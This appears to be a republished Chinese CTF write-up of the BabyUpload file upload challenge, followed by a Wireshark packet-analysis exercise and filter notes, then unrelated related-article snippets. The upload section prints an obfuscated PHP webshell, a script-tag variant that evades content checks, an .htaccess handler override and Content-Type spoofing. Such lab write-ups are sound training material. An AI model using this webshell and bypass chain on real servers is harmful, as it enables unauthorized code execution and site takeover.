文件上傳鞏固及流量分析

1.[GXYCTF2019]BabyUpload

1)打開題目也是沒有任何提示,

2)進入環境,看到下面頁面猜測是文件上傳漏洞,下面開始傳文件

3)首先上傳一句話木馬 a.php,代碼如下:

下面這個代碼中并沒有寫傳統的一句話木馬,因為直接寫一句話木馬需要關閉系統防火墻

<?php$a="a"."s";$b="s"."e"."rt";$c=$a.$b;$c($_POST['123']);
?>

提示后綴不能有ph,那么根據前面做過類似文件上傳的題,php3,php5,phtml等后綴也無法使用了。

5)那就將文件后綴改為 jpg,上傳后頁面如下:

6)由此我們得知,后端檢測出我們的.jpg文件源碼中含有php代碼。

那么只有將.jpg文件中的php代碼用 javascript 的形式代替了,代碼如下:

<script language='php'>$a = "a"."s";$b = "s"."e"."r"."t";$c = $a.$b;$c($_POST["123"]);
</script>

重新上傳,頁面如下:

7)這里也是上傳成功了,接下來按照之前做題慣例,它應該還得解析jpg文件中的php代碼了,這時就需要上傳.htaccess文件來幫助解析,它必須包含以下代碼

SetHandler application/x-httpd-php

這條命令可以解析所有后綴文件中的 php 代碼。

上傳出現這問題我也是懵了,抓個包看看吧

猜測應該是,后端代碼對文件類型--Content-type有限制。

這就需要我們在上傳 .htaccess 文件的同時,利用Burpsuite進行抓包,修改 Content-type為image/jpeg,如下:

修改為image/jpeg

然后放包

頁面顯示上傳成功(.htaccess successfully uploaded)

然后再次上傳jpg文件,如下:

由此可以拼接網址

http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg

然后用蟻劍鏈接

成功找到flag

總結一下這題簡單來說它就是過濾了php,限制了文件上傳的內容,然后需要解析jpg文件,需要上傳.htaccess文件來進行解析,以及修改數據類型,拼接url頭等

2.數據包中的線索

1)下載附件,用wireshark打開,從中進行數據分析

2)過濾一下http流

3)找到一個狀態值為200的,看著有點問題,打開seesee

看到里面是類似于base64編碼的一大篇

4)選中編碼去解碼,注意最后面多了個0要去掉

太大解析不出來,直接將他存為圖片

拿到? ?flag{209acebf6324a09671abc31c869de72c}

當然這里需要注意的是

/9j是jpg文件頭的 base64?編碼

3.最后加上昨天學的再總結一下流量分析

首先whireshark提供了三個主要面板,包括:

抓包面板(Capture Panel):

? ? ? ??抓包面板用于捕獲網絡數據包,并顯示已經捕獲的數據包列表。在該面板中,可以選擇捕獲的網絡接口、設置捕獲過濾器、啟動和停止抓包等操作。此外,還可以通過右鍵單擊數據包,查看詳細信息、導出數據包、跟蹤TCP流等。

數據包列表面板(Packet List Panel):

? ? ? ??數據包列表面板顯示已經捕獲的數據包列表,其中每個數據包占據一行,并列出了有關該數據包的一些關鍵信息,如時間戳、源IP地址、目標IP地址、協議類型、數據包長度等。此外,還可以通過對列表進行排序、篩選、搜索等操作,方便用戶查找和分析數據包。

數據包詳情面板(Packet Detail Panel):

? ? ? ??數據包詳情面板顯示選定數據包的詳細信息,包括各個協議層的數據結構和字段值。用戶可以通過展開不同的節點,查看不同的協議頭和數據負載,幫助用戶深入理解數據包的內容和意義。

常用語法:
(在搜索框輸入http即可看http的流量)

tcp:顯示所有TCP協議的數據包
udp:顯示所有UDP協議的數據包
http:顯示所有HTTP協議的數據包
dns:顯示所有DNS協議的數據包
icmp:顯示所有ICMP協議的數據包

ip地址篩選:
ip.addr == 192.168.0.1:顯示與指定IP地址相關的所有數據包
ip.src == 192.168.0.1 :顯示源IP地址為指定地址的數據包
ip.dst == 192.168.0.2:顯示目標IP地址為指定地址的數據包

端口篩選:
tcp.port == ?80:顯示使用指定TCP端口的數據包
udp.port == 53:顯示使用指定UDP端口的數據包

比較運算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定過濾數據包長度

數據包內容過濾規則:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通過指定數據包內容,只保留符合條件的數據包


:?? ?關于我也不太懂的一點

? ? ? # 就是在TCP三次握手過程中,客戶端向服務端發送一個SYN標志的數據包,表示請求建立連接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN標志的過濾規則,其中1表示該標志位被置為1,表示該數據包是一個SYN數據包。當Wireshark捕獲到一個TCP數據包時,會檢查該數據包的TCP頭部中的SYN標志位是否被置為1,如果符合條件,則該數據包會被匹配并顯示出來。這樣,用戶就可以快速過濾出所有的TCP SYN數據包,方便進行相關的分析和處理。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/14728.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/14728.shtml
英文地址,請注明出處:http://en.pswp.cn/web/14728.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Amesim示例篇-案例1:空間中的鋁塊散熱

前言 本文將通過一個案例繼續對Thermal庫的元件進一步講解。 案例1&#xff1a;一個300mm*300mm*1000mm&#xff08;長*寬*高&#xff09;的鋁板初始溫度為45℃&#xff0c;豎直在環境為25℃的空間內靜置60min。對流換熱系數設置為5W/m2K。本文將通過兩種建模方法對鋁塊的溫度…

微軟語音使用小計

簡介 使用微軟語音可以實現語音轉文字和文字轉語音。測試了下&#xff0c;使用還是挺方便的。 使用微軟語音有兩種方式。一種是使用命令行的形式&#xff0c;另一種是調用SDK的方式。 適合使用語音 CLI 的情況&#xff1a; 想在極少設置且無需編寫代碼的情況下試驗語音服務…

最簡單的方式解決android studio 模擬器無法聯網的問題

最簡單的方式解決android studio 模擬器無法聯網的問題 看了網上很多解決android studio內置模擬器無法聯網的問題&#xff0c;基本上都是在模擬器手機上配置dns&#xff0c;個人試了多種辦法也連不上網&#xff0c;現在給出一種&#xff0c;僅需要在命令行操作的解決安卓模擬…

輕松拿捏C語言——二分查找

&#x1f970;歡迎關注 輕松拿捏C語言系列&#xff0c;來和 小哇 一起進步&#xff01;? &#x1f308;感謝大家的閱讀、點贊、收藏和關注&#x1f495; 目錄&#x1f389; 一、介紹&#x1f308; 二、步驟&#x1f319; 三、代碼?? 一、介紹 二分查找是一種在有序數組中…

【Linux-驅動開發】

Linux-驅動開發 ■ Linux-應用程序對驅動程序的調用流程■ Linux-file_operations 結構體■ Linux-驅動模塊的加載和卸載■ 1. 驅動編譯進 Linux 內核中■ 2. 驅動編譯成模塊(Linux 下模塊擴展名為.ko) ■ Linux-■ Linux-■ Linux-設備號■ Linux-設備號-分配■ 靜態分配設備號…

React Native 之 主題偏好(十一)

如果你的 React Native 版本較新&#xff0c;它提供一個主題API useColorScheme&#xff0c;你可以直接使用它。如果不是&#xff0c;需安裝額外的庫&#xff0c;如react-native-appearance。 下面是一個使用 react-native-appearance&#xff08;或 useColorScheme&#xff0…

家電維修上門維修小程序怎么搭建制作?

?在家庭生活中&#xff0c;家電的維修問題一直是人們關注的焦點。隨著微信小程序的普及&#xff0c;家電維修服務行業也迎來了線上轉型的機遇。一款便捷、高效的家電維修上門維修小程序&#xff0c;不僅能為維修服務商帶來新的客戶&#xff0c;也能為用戶帶來更便捷的服務體驗…

[Algorithm][動態規劃][路徑問題][下降路徑最小和][最小路徑和][地下城游戲]詳細講解

目錄 1.下降路徑最小和1.題目鏈接2.算法原理詳解3.代碼實現 2.最小路徑和1.題目鏈接2.算法原理詳解3.代碼實現 3.地下城游戲1.題目鏈接2.算法原理詳解3.代碼實現 1.下降路徑最小和 1.題目鏈接 下降路徑最小和 2.算法原理詳解 思路&#xff1a; 確定狀態表示 -> dp[i][j]的…

用WPS將多張圖片生成一個pdf文檔,注意參數設置

目錄 1 新建一個docx格式的文檔 2 向文檔中插入圖片 3 設置頁邊距 4 設置圖片大小 5 導出為pdf格式 需要把十幾張圖片合并為一個pdf文件&#xff0c;本以為很簡單&#xff0c;迅速從網上找到兩個號稱免費的在線工具&#xff0c;結果浪費了好幾分鐘時間&#xff0c;發現需要…

面試-軟件工程與設計模式相關,Spring簡介

面試-軟件工程與設計模式相關&#xff0c;Spring簡介 1.編程思想1.1 面向過程編程1.2 面向對象編程1.2.1 面向對象編程三大特征 1.3 面向切面編程1.3.1 原理1.3.2 大白話&#xff1f;1.3.3 名詞解釋1.3.4 實現 2. 耦合與內聚2.1 耦合性2.2 內聚性 3. 設計模式3.1 設計模型七大原…

【Nodejs-多進程之Cluster】

cluster 模塊是 Node.js 提供的一個用于多進程的模塊&#xff0c;它可以輕松地創建一組共享同一個服務器端口的子進程&#xff08;worker進程&#xff09;。通過使用 cluster 模塊&#xff0c;可以充分利用多核系統&#xff0c;提高應用程序的性能和可靠性。 基本原理 cluste…

#php把pdf文件轉成圖片#

本地環境 系統&#xff1a;win11 64位 環境&#xff1a;phpStudy PHP版本&#xff1a;8.0.2 礦建&#xff1a;laravel 配置擴展 一、安裝imageMagick 下載地址&#xff1a;https://imagemagick.org/script/download.php 安裝版本&#xff1a;ImageMagick-最新版本-Q16-HDRI-x64…

Docker: exec命令淺析

簡介 Docker exec命令是Docker提供的一個強大工具&#xff0c;用于在正在運行的容器中執行命令。在此將介紹Docker exec命令的用法和示例&#xff0c;幫助大家更好地理解和使用這個命令。 Docker是一種流行的容器化平臺&#xff0c;允許用戶在容器中運行應用程序。有時候&#…

React開發環境配置詳細講解-04

React環境 前端隨著規范化&#xff0c;可以說規范和環境插件配置滿天飛&#xff0c;筆者最早接觸的是jquery&#xff0c;那個開發非常簡單&#xff0c;只要引入jquery就可以了&#xff0c;當時還寫了一套UI框架&#xff0c;至今在做小型項目中還在使用&#xff0c;show一張效果…

一款顏值頗高的虛擬列表!差點就被埋沒了,終于還是被我挖出來了

大家好&#xff0c;我是曉衡&#xff01; 今天&#xff0c;推薦一款頗有顏值的虛擬列表組件&#xff0c;不然真的被埋沒就可惜了&#xff01; 我們先來看下效果&#xff1a; 感覺怎么樣&#xff1f;還不錯吧&#xff01; 為什么說這個資源差點被埋沒呢&#xff1f;因為個朋友找…

用數據,簡單點!奇點云2024 StartDT Day數智科技大會,直播見

在充滿挑戰的2024&#xff0c;企業如何以最小化的資源投入和試錯成本&#xff0c;挖掘新的增長機會&#xff0c;實現確定性發展&#xff1f; “簡單點”是當前商業環境的應對策略&#xff0c;也是奇點云2024 StartDT Day的核心理念。 5月28日&#xff0c;由奇點云主辦的2024 S…

Linux —— 信號量

Linux —— 信號量 什么是信號量P操作&#xff08;Wait操作&#xff09;V操作&#xff08;Signal操作&#xff09;信號量的類型 一些接口POSIX 信號量接口&#xff1a;其他相關命令&#xff1a; 基于循環隊列的生產者和消費者模型同步關系 多生產多消費 我們今天接著來學習信號…

【譯】組復制和 Percona XtraDB 集群: 常見操作概述

原文地址&#xff1a;Group Replication and Percona XtraDB Cluster: Overview of Common Operations 在這篇博文中&#xff0c;我將概述使用 MySQL Group Replication 8.0.19&#xff08;又稱 GR&#xff09;和 Percona XtraDB Cluster 8 (PXC)&#xff08;基于 Galera&…

Jetbrains插件AI Assistant,終于用上了

ai assistant激活成功后&#xff0c;如圖 ai assistant獲取&#xff1a;https://web.52shizhan.cn/activity/ai-assistant 主要功能如下

Spring Boot 配置使用 PEM 格式SSL/TLS證書和私鑰

傳統的為 Spring Boot 配置SSL/TLS證書一般都會把證書打包成 JKS(Java KeyStore) 或 PKCS12 (Public Key Cryptographic Standards) 格式&#xff0c;然后為Spring Boot 增加以下類似配置&#xff1a; # The format used for the keystore. It could be set to JKS in case it…